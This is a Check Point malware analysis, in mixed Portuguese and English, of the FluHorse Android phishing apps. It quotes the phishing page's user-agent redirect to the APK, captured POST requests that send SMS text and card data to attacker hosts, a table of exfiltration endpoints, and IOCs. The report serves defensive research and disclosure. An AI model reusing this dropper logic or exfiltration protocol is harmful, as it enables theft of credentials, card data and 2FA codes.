Introdução
Na última pesquisa realizada pela Check Point Research, descrevemos um malware recém-descoberto chamado FluHorse. O malware apresenta vários aplicativos Android maliciosos que imitam aplicativos legítimos, a maioria dos quais tem mais de 1.000.000 de instalações. Esses aplicativos maliciosos roubam as credenciais das vítimas e os códigos de autenticação de dois fatores (2FA). O FluHorse visa diferentes setores dos mercados do Leste Asiático e é distribuído por e-mails. Em alguns casos, os e-mails usados na primeira fase dos ataques pertencem a entidades de alto perfil. O malware pode permanecer sem ser detectado por meses, tornando-se uma ameaça persistente, perigosa e difícil de detectar.

Imagem 1 – Uma das amostras de malware, ainda não detectada no VirusTotal (VT) após 3 meses.
Os operadores de crimes cibernéticos geralmente são criativos em seu objetivo de complicar a análise de malware. Eles podem usar truques como técnicas de evasão, ofuscação e longos atrasos antes da execução – tudo para passar sorrateiramente por ambientes virtuais e confundir pesquisadores. Normalmente, esses truques têm implementação personalizada que exigem muito esforço em nome de seus criadores. Apenas em casos raros as amostras de malware são difíceis de detectar e analisar, mesmo quando são desenvolvidas com tecnologias amplamente disponíveis.
Surpreendentemente, nenhum truque implementado personalizado é usado dentro do FluHorse, já que os autores de malware dependiam apenas de estruturas de código aberto para o processo de desenvolvimento. Embora alguns dos aplicativos sejam criados em parte com o Kotlin, a funcionalidade maliciosa é implementada com o Flutter – e é aqui que concentramos nossos esforços técnicos. Flutter é um kit de desenvolvimento de software de interface do usuário de código aberto criado pelo Google. Ele é usado para desenvolver aplicativos multiplataforma para várias plataformas, incluindo Android e iOS para dispositivos móveis, com uma única base de código. O que torna o Flutter uma escolha atraente para desenvolvedores de malware é o uso de uma máquina virtual (VM) personalizada para suportar diferentes plataformas e sua facilidade de uso para a criação de elementos GUI. Além disso, analisar tais aplicativos é complicado, devido à VM personalizada, o que torna esse framework uma solução perfeita para ataques de phishing Android, como acabou sendo.
No artigo abaixo, descrevemos diferentes mercados-alvo em vários países e comparamos aplicativos de phishing com os legítimos – as diferenças são muito difíceis de detectar à primeira vista). Observamos as ferramentas disponíveis para análise de aplicativos Flutter, ao mesmo tempo em que fornecemos os aprimoramentos que resultaram em nossa contribuição de código aberto: https://github.com/Guardsquare/flutter-re-demo/pull/4. Passamos por todas as armadilhas encontradas durante nossa pesquisa e fornecemos soluções sobre como contorná-las. Finalmente, damos uma visão geral da comunicação de Comando e Controle (C&C) do malware, bem como mergulhamos profundamente nos detalhes da análise da infraestrutura de rede.
Aplicações imitadas
Os operadores de malware fizeram uma seleção eclética de setores-alvo para países específicos, usando um aplicativo imitado em cada país. Um desses aplicativos imitados é o aplicativo ETC, que é usado para cobrança de pedágio em Taiwan. Este aplicativo tem mais de 1.000.000 instalações no Google Play. A empresa por trás do ETC é confiável e tem boa reputação, o que torna esse aplicativo muito atraente para os invasores, pois certamente atrairá clientes solventes:
Far Eastern Electronic Toll Collection Co., Ltd (FETC) empresa em Taiwan – O desenvolvedor do ETC APK tem aproximadamente 16 milhões de transações por dia e mais de 6 milhões de usuários de acordo com o site da empresa.
Mais casos incluem um aplicativo de transporte principal imitado e um aplicativo bancário importante – não os descrevemos completamente neste artigo.
Embora as esferas sejam diferentes, os operadores de malware fizeram um esforço para imitar cuidadosamente todos os principais detalhes da interface para evitar levantar suspeitas. Analisamos meticulosamente os detalhes da GUI em diferentes aplicações mais adiante no relatório, no capítulo “Esquema de phishing”.
Existem também alguns aplicativos maliciosos que estão conectados à esfera de namoro, mas não encontramos nenhum aplicativo correspondente que o malware tenta imitar. Nesse cenário, o esquema é um pouco diferente: o malware serve como um navegador para o site de phishing onde a vítima deve inserir os dados confidenciais. Esses aplicativos são voltados para usuários de língua chinesa.

Imagem 2 – Um ícone do aplicativo malicioso Dating (traduzido como “Night Love”).
Phishing scheme
Let’s take a look at how the phishing scheme is implemented in different variants of the applications. It’s interesting to note that malicious applications do not contain anything except for several replicas of windows to provide a victim with input possibilities. No additional functions or checks were added. This deliberate simplicity leads us to the conclusion that the malware operators did not put much effort into the programming part of their creation… Or they could have made this decision on purpose to further reduce the chances of being detected by security solutions.
Whatever their intention was, the scheme works pretty well. After the victim enters sensitive data, it is exfiltrated to the C&C server. Meanwhile, the malware asks the victim to wait for several minutes while “the data is being processed.” At this step, the SMS interception feature takes the stage and redirects all the incoming SMS traffic to the malicious server. If the malware actors enter stolen credentials or credit card data and then are asked to input Two Factor Authentication (2FA) code, this is intercepted as well. The diagram below summarizes the phishing scheme in a graphical form:

Image 3 – How the malware performs phishing attacks.
Please note that depending on the type of malicious application (targeting Electronic Toll, Banking or Dating users), credentials or credit card numbers may not be required.
Infection chain and targets
Before the malicious applications are installed on the victims’ devices, they must first be delivered. This is where email lures come in handy. We traced infection chains for different types of malicious applications and discovered multiple high-profile entities among the recipient of these emails, including employees of the government sector and large industrial companies.
Email lures are a good use of social engineering and are aligned with the alleged purpose of subsequently installed malicious APK: paying tolls.
This is an example of an email lure with the fetc.net.tw-notice@twfetc.com sender address:

Image 4 – Example of an email sent by malware operators to government recipient.
This is the email translation:
Dear eTag user Your one-time toll of 128 yuan expires on January 10, 2023. To avoid a fine of 300 yuan per transaction, please use your mobile phone to click and download the Yuantong Electric Collection App as soon as possible Pay online. https://www.fetc-net[.]com Far Eastern Electronic Toll Collection Co,Ltd.All Right Reserved. Yuantong Electric has trademarks and copyrights, please do not copy or reprint without authorization. If you have any questions, please call Yuantong Customer Service Line 02-77161998. Thanks.
The malicious fetc-net[.]com domain used by the malware operators is very similar to fetc.net.tw, which is the official site of FETC company.
On this malicious website, the malware actors added an additional protection layer to ensure that only the victims are able to download the APK: it is downloaded in the case if a target’s user agent matches the expected one. This check is performed via a client-side JavaScript:var user = navigator.userAgent
;if(user.match(/(iphone os)/i
)) { console.log(“isphone”
);}elseif(user.match(/ipad/i
)) { console.log(“isipad”
);}elseif(user.match(/(midp|ucweb|android|windows ce|windows mobile)/i
)) { window.location.href = “fetc.apk”
;
};
After the malware is installed, it requires SMS permissions:

Image 5 – ETC APK makes a request for SMS permissions.
The permissions obtained at this step will come into play just after the victim enters the sensitive data. And this brings us straight to the next chapter where the attack scheme is described.
Malicious applications: step-by-step GUI analysis
Let’s take a more detailed look at a couple of malicious applications we encountered.
Malicious Electronic Toll Collection APK
This application contains only 3 windows:

Imagem 6 – Janelas mostradas em sequência pelo malicioso ETC APK.
A primeira janela pede as credenciais do usuário e a segunda os dados do cartão de crédito. Todos esses dados confidenciais são exfiltrados para o servidor C&C malicioso. Em seguida, a terceira janela pede que o usuário aguarde 10 minutos porque o “sistema está ocupado”. A esperança é que o usuário feche o aplicativo, ou pelo menos não suspeite de nada de errado por um período razoável de tempo. Enquanto o usuário é embalado em uma falsa sensação de segurança pela mensagem “sistema ocupado”, os operadores de malware executam todas as suas ações necessárias, ou seja, interceptar todos os SMS recebidos com códigos 2FA e fazer uso dos dados roubados.
Toda a GUI deste aplicativo de chamariz parece uma cópia muito limpa do aplicativo ETC original para cobrança de pedágios. Esta é a comparação visual das janelas de entrada de aplicativos maliciosos e legítimos:

Imagem 7 – Janela de entrada original (esquerda) e a janela de entrada APK maliciosa (direita).
O aplicativo original não mostra nenhum campo para fazer login ou inserir credenciais de usuário. Em vez disso, há uma janela separada para essa finalidade:

Imagem 8 – Formulário de registro do aplicativo original.
Namoro malicioso APK
O aplicativo Namoro não contém nenhuma janela. Em vez disso, ele funciona efetivamente como um navegador que leva ao site de namoro de phishing. No entanto, o princípio do roubo e processamento dos dados permanece o mesmo.
Não temos capturas de tela de todas as etapas interagindo com a vítima, pois no momento em que escrevo este artigo os servidores maliciosos responsáveis pelo processamento de dados roubados deste APK não estavam ativos. De acordo com o código, apenas dados de cartão de crédito são roubados e nenhuma credencial é solicitada.
É assim que fica a entrada para o site de namoro dentro do aplicativo:

Imagem 9 – Janela do site de namoro phishing mostrada dentro do APK.
A tradução da mensagem mostrada segue:

Imagem 10 – A tradução da mensagem mostrada no site de phishing.
Detalhes técnicos
A análise de aplicativos baseados em Flutter, em comparação com a análise de aplicativos Android puros, requer alguns passos intermediários para atingir nosso objetivo.
Já existem várias boas diretrizes existentes que usamos como base para nossa análise técnica:
- Aplicativos Flutter de engenharia reversa da tst.sh
- O estado atual e o futuro da reversão de aplicativos Flutter pela Guardsquare
Introduzimos algumas melhorias técnicas e de qualidade de vida nas ferramentas de código aberto utilizadas nessas publicações.
Cavando fundo
Como mencionamos na introdução, o Flutter usa um ambiente virtual personalizado para suportar o desenvolvimento multiplataforma com uma única base de código. Uma linguagem de programação específica, chamada Dart, é usada para o desenvolvimento. Analisar o código da plataforma Flutter fica um pouco mais fácil, pois ele está disponível como um projeto de código aberto, mas ainda pode ser um processo tedioso.

Imagem 11 – Apresentação do Dart na página do Flutter no Github.
Vamos dar uma olhada em algumas das complicações que encontramos ao lidar com um domínio ad-hoc do tempo de execução do Flutter. Nós dissecamos um APK com o hash 2811f0426f23a7a3b6a8d8bb7e1bcd79e495026f4dcdc1c2fd218097c98de684.
O tempo de execução do Flutter para ARM usa seu próprio registro de ponteiro de pilha (R15) em vez do ponteiro de pilha (SP) interno. Qual registro é usado como um ponteiro de pilha não faz diferença na execução do código ou no processo de engenharia reversa. No entanto, isso faz uma grande diferença para o descompilador. Devido a um uso de registro fora do padrão, um pseudocódigo errado e feio é gerado.
Uma boa maneira de iniciar a análise de malware é determinar o protocolo da comunicação com os servidores C&C. Isso pode dizer muito sobre a funcionalidade maliciosa. Há uma cadeia de caracteres dentro que corresponde ao site que vimos no e-mail de phishing:

Imagem 12 – Endereço do servidor C&C entre as strings dentro do APK malicioso.
No entanto, quando tentamos encontrar algumas referências a essa cadeia de caracteres, a análise falha:

Imagem 13 – Ausência de referências à string do servidor C&C no IDA.
Nosso objetivo é criar uma referência a essa cadeia de caracteres para localizar o código onde a comunicação C&C é realizada.
Os artigos que mencionamos anteriormente introduzem algumas boas ferramentas de código aberto para lidar com aplicativos Flutter: flutter-re-demo e reFlutter. Sua ideia principal é usar snapshots de tempo de execução para criar objetos Dart e encontrar referências a eles. O principal objetivo do reFlutter é reunir os nomes das funções, enquanto o flutter-re-demo nos permite trabalhar com os despejos de memória coletados durante a execução do aplicativo.
No entanto, além de instantâneos de memória, algumas informações de tempo de execução são necessárias. O tempo de execução do Flutter usa um heap para criar objetos e armazena o ponteiro para objetos criados em uma área especial chamada Pool de Objetos. O ponteiro para esse pool é passado para o método em um registro X27. Precisamos encontrar o local do Pool de Objetos.
flutter-re-demo usa Frida para coletar despejos de memória e obter o endereço do pool de objetos. Se executarmos nosso APK com o script dump_flutter_memory.js disponível no repositório flutter-re-demo, veremos o endereço desejado:

Imagem 14 – Saída do script Frida com os endereços necessários.
Agora temos todos os elementos necessários para iniciar uma engenharia reversa produtiva.
Depois de carregar os dumps com map_dart_vm_memory.py e executar o script create_dart_objects.py, agora podemos ver pelo menos alguns dos objetos:

Imagem 15 – Objetos criados pelo script.
Temos que mencionar aqui nossa primeira adição aos scripts originais de flutter-re-demo como parte da contribuição de código aberto.
Existe um script chamado create_dart_objects.py que pretende criar objetos Dart. O script funciona caminhando sobre o Pool de Objetos, analisando registros e criando objetos. Há um monte de objetos sobre os quais o script não tem informações – para eles, o script cria as seguintes estruturas que descrevem o formato do objeto:
struct DartUnkObjNNN {
uint8_t is_canonical_and_gc;
uint8_t size_tag;
uint16_t cid;
uint32_t acolchoamento;
uint64_t unk;
}
NNN aqui é substituído pelo número “class id”, assim:

Imagem 16 – Struct, criado por create_dart_objects.py.
Durante a engenharia reversa da aplicação Flutter, notamos que o último campo (unk) é frequentemente usado como ponteiro. Consideramos converter este campo de um QWORD simples para OFFSET QWORD. Isso poderia nos dar alguns falsos positivos, mas também poderia ser muito útil na criação de referências. Decidimos, portanto, alterar o tipo de campo para estruturas unkin criadas pelo script. Esta é a nossa mudança para o script original:

Imagem 17 – Nossas alterações no roteiro dart_obj_create.py.
O repositório que mencionamos contém um script para criar referências a objetos Dart: add_xref_to_dart_objects.py. Quando você o executa, o script passa pelo código e cria referências aos objetos Dart criados por create_dart_objects.py scripts. Após esse processo, ainda temos apenas uma referência à cadeia de caracteres em que estamos interessados, ou seja, a referência do Pool de Objetos:

Imagem 18 – Não há referências à URL do servidor C&C.
Nosso primeiro pensamento foi talvez não haver referências cruzadas? Mas não, há várias referências cruzadas presentes, por exemplo, este objeto tem referências:

Imagem 19 – Algumas referências de funções a objetos.
Este é o objeto que é referenciado a partir da função:

Imagem 20 – Como fica a referência no código da função.
Vamos investigar por que não vemos nossa referência. Percorrer o código de add_xref_to_dart_objects.py nos leva ao arquivo dart_obj_xref.py. Esse arquivo também percorre o código, tenta extrair referências a dados com base no registro X27, conta deslocamentos dessas referências e, finalmente, cria referências IDA. A análise do código mostra que o script original oferece suporte a duas variantes do código ARM que acessam o objeto:
1:
ADD X17, X27, #0x18,LSL#12
LDR X17, [X17,#0xA58]
2:
LDR X24, [X27,#0x20]
O código usa algumas outras instruções para fazer referência ao registro X27? Vamos conferir. Por conveniência, vamos modificar o script e adicionar um comentário a cada instrução processada com o X27:

Imagem 21 – dart_obj_xref.py modificação.
Podemos então inspecionar uma listagem de desmontadores para construções processadas com X27, que não têm nenhuma referência de comentário ao objeto Dart anexado. Podemos automatizar parcialmente essas ações gerando um arquivo de listagem com o IDA e cumprimentando-o com o utilitário grep como este:
grep "X27" libapp.lst | grep --invert-match "reference to Dart object"
Primeiro, o grep encontra todas as cadeias de caracteres com X27. Em seguida, todas essas cadeias de caracteres caem para o segundo comando grep para imprimir apenas as cadeias de caracteres que não contêm nenhuma referência ao objeto Dart. Portanto, vemos apenas referências X27 não suportadas.
Quando detectamos uma construção X27 sem suporte, adicionamos o código para suportá-la no script. Depois de várias iterações, finalmente obtemos nossas referências à cadeia de caracteres de endereço C&C:

Imagem 22 – Referências à cadeia de caracteres de endereço C&C.
Vamos inspecionar essas funções começando com sub_70FD611C0C. Uma breve visão geral mostra que essa função pretende fazer algo com o método HTTP POST com o caminho “/addcontent3” ao se comunicar com o servidor C&C:

Imagem 23 – Pseudo-código da função sub_70FD611C0C.
Há também uma referência a essa função de outro objeto Dart:

Imagem 24 – Referência a um objeto Dart.
À medida que passamos pelas referências, finalmente chegamos à função com o seguinte código:

Imagem 25 – Código responsável por ouvir todos os SMS recebidos.
Esta função instala um ouvinte para todas as mensagens SMS recebidas.
Para ter certeza absoluta de que fizemos uma análise estática correta, verificamos essa função em um dispositivo real em tempo de execução. De fato, pegamos uma solicitação POST para o servidor C&C.
Este é um exemplo de solicitação de C &C depois que o dispositivo recebeu um SMS com o texto “Fdsa”:
POST /addcontent3
user-agent: Dart/2.16 (dart:io)
content-type: application/x-www-form-urlencoded; charset=utf-8
accept-encoding: gzip
content-length: 12
Body: ids=&c4=Fdsa
Portanto, a função sub_70FD611C0C é usada para vazar mensagens SMS para o servidor C&C.
As funções sub_70FD61EBC4 e sub_70FD61EECC parecem muito semelhantes às sub_70FD611C0C já analisadas, exceto pelo tipo de dados exfiltrados e pelo caminho do servidor. Essas funções usam os caminhos “/addcontent” e “/addcontent2”, respectivamente, e são usadas para exfiltrar as credenciais da vítima e as informações do cartão de pagamento.
Não há vestígios de comunicação do servidor no código DEX, portanto, podemos assumir que toda a comunicação está localizada na parte Flutter do aplicativo. Depois de analisar todas as funções relacionadas à comunicação do servidor C&C, podemos descrever o protocolo de rede.
Comunicação C&C
O protocolo C&C pretende enviar apenas dados do dispositivo comprometido para o servidor. Não há comandos para enviar na direção oposta, ou seja, do servidor para o dispositivo comprometido. HTTPS é usado para transferir dados e há vários pontos de extremidade usados.
Esta é a descrição de cada endpoint que encontramos nas amostras analisadas:
| Extremidade | Descrição | Método Utilizado | Campos |
| /addcontent | Usado para exfiltrar as credenciais das vítimas. | POSTAR | с1 – login de usuário с2 – senha de usuário |
| /addcontent2 | Usado para exfiltrar dados de cartão de crédito para o servidor. | POSTAR | ids – sempre vazio c3 – para o número do cartão c33 – para a data de validade c333 – para o código CVC |
| /addcontent3 | Usado para exfiltrar mensagens SMS interceptadas pelo aplicativo malicioso. | POSTAR | ids – sempre vazio c4 – para o corpo da mensagem SMS |
As variantes da Web de iscas que são usadas para aplicativos maliciosos de namoro usam um protocolo muito semelhante. Este é um exemplo de exfiltração de dados de cartão de crédito:
URL: https://jp.yelove.xyz/addcontent2
METHOD: POST
BODY: {"cardNumber":"1234253456345","name":"sfsdfgfde dg sdg","expiryDate":"11/27","cvvCode":"150"}
A única diferença é o formato do corpo: a versão da Web usa JSON em vez do formato “name=value”.
Resumo da contribuição
Este é um resumo de nossa contribuição de código aberto para o projeto flutter-re-demo:
- Adicionada análise de algumas construções não suportadas anteriormente para acessar objetos Dart.
- Adicionado salvar informações importantes durante a análise dinâmica e usar essas informações em scripts IDA.
- Um campo para a estrutura de objeto Dart desconhecido é definido como deslocamento para que ele possa trazer mais referências a objetos Dart.
Conclusão
Os idealistas inventam novas tecnologias esperando o progresso da humanidade. Os realistas adaptam essas invenções às necessidades do dia-a-dia. Mentes malignas abusam deles de maneiras muitas vezes imprevistas e imprevisíveis para tirar o máximo proveito de si mesmas.
Essa verdade atemporal teve uma implementação inesperada ao abusar de estruturas de desenvolvimento modernas por desenvolvedores mal-intencionados do Android. Tais estruturas podem ser usadas como uma faca de dois gumes como descrevemos acima. Os operadores de malware buscaram uma abordagem direta para roubar dados confidenciais das vítimas sem distrações para outros componentes.
A implementação técnica dessas amostras maliciosas consiste em várias camadas. Como a parte funcional é relativamente simples, podemos concluir que os desenvolvedores de malware não colocaram muito esforço na programação, em vez disso, confiando no Flutter como plataforma de desenvolvimento. O foco principal dos desenvolvedores é a GUI. Essa abordagem permitiu que eles criassem aplicativos maliciosos perigosos e, na maioria das vezes, não detectados. Um dos benefícios do uso do Flutter é que sua natureza difícil de analisar torna muitas soluções de segurança contemporâneas inúteis.
Rastreamos a atividade da FluHorse até maio de 2022. Nossa análise mostra que essas campanhas continuam sendo uma ameaça contínua, pois novos nós de infraestrutura e aplicativos mal-intencionados aparecem a cada mês.
Como o fator humano continua sendo um fator importante em ataques de malware, a Check Point Research recomenda as seguintes sugestões para usuários de dispositivos móveis:
O Harmony Mobile da Check Point impede que malwares se infiltrem em dispositivos móveis, detectando e bloqueando o download de aplicativos maliciosos em tempo real. A infraestrutura de segurança de rede exclusiva do Harmony Mobile – Proteção de rede no dispositivo – permite que você fique à frente das ameaças emergentes, estendendo as tecnologias de segurança de rede líderes do setor da Check Point para dispositivos móveis.
Proteções relevantes da Check Point:
- Stealer.Android.FluHorse.TC.*
- FluHorse.TC.*
Updates and edits
2023-05-11 – Edited to remove sensitive research data
IOCs
Samples
| Hash | Description |
| 0a577ee60ca676e49add6f266a1ee8ba5434290fa8954cc35f87546046008388 | Dating app |
| 2e18c919ad53a66622e404a96cbde15f237a7bfafed1c0896b6b7e289bc230d6 | Major banking app |
| 416e22d6b85d6633d1da000058efb3cd597b8b7df5d77a6c3456464d65a775b3 | Toll app |
| 74008170fc5de4d40bcc97b8e2c6fbdb01889805c6ca456fd08134881cad0d2c | Dating app |
| 8b591b5488dab8adb485ea55197148d6b39715da562537c7d8b1a79cd3639510 | Major banking app |
| 910707dd041c13f3379115bdf93bb4984ac20b9ecafd59f93e5089ab3a141e67 | Toll app |
| 9220752302e2bca0002ea701c772b2f2306831711b1c323157ef2573f176821a | Aplicativo bancário principal |
| D78FA2C475EA08F90EF6B189D2A3FDDc9EAD86AE43DF272E9083F92F7A47Aabe | Aplicativo bancário principal |
| D8A777B050BA27EEB41C0035F3477882D7EAFC56EDFCBE1E8CEP05A7E85C8B9E | Entrega |
| de86b0fbbd343f3fc5bb6c19a067a6f063b423132e19c6004c7b696ea1fe0c7d | Aplicativo bancário principal |
| 2811f0426f23a7a3b6a8d8bb7e1bcd79e495026f4dcdc1c2fd218097c98de684 | Aplicativo de pedágio |
| 659f69d660179d0e8a5f4c2850c51a05529e0ef06ac739ca6f61fe470917ee96 | Aplicativo de pedágio |
| e54a2581545477882a1b7c1f9cbb74fb2aa97fcf1ee8b097c8085302ed6fbf36 | Aplicativo de transporte principal |
Domínios
| Domínio | Relação de chamariz |
| info1.yelove.xyz | Datação |
| jp.yelove.xyz | Datação |
| h5.yelove.xyz | Datação |
| api.vpbankem.com | Banco |
| api.fetctw.xyz | Pedágio |
| api.fetc-net.com | Pedágio |
| api.usadmin-3.top | Pedágio e principal aplicativo de transporte |
| www.pcdstl.com | Pedágio |
| h5.spusp.xyz | Datação |
Recursos online
Projetos de código aberto
- https://github.com/Guardsquare/flutter-re-demo // flutter-re-demo – Projeto de código aberto para análise de aplicações baseadas em Flutter
- https://github.com/ptswarm/reFlutter // reFlutter – Projeto open-source para análise de aplicações baseadas em Flutter
- https://github.com/frida // Frida – Kit de ferramentas de instrumentação dinâmica para desenvolvedores, engenheiros reversos e pesquisadores de segurança
Artigos de análise técnica
- https://blog.tst.sh/reverse-engineering-flutter-apps-part-1 // Aplicativos Flutter de engenharia reversa (Parte 1)
- https://www.guardsquare.com/blog/current-state-and-future-of-reversing-flutter-apps // O estado atual & Futuro da reversão de aplicativos Flutter™
Contribuição
https://github.com/Guardsquare/flutter-re-demo/pull/4 // Nossa contribuição para flutter-re-demo
FONTE: CHECKPOINT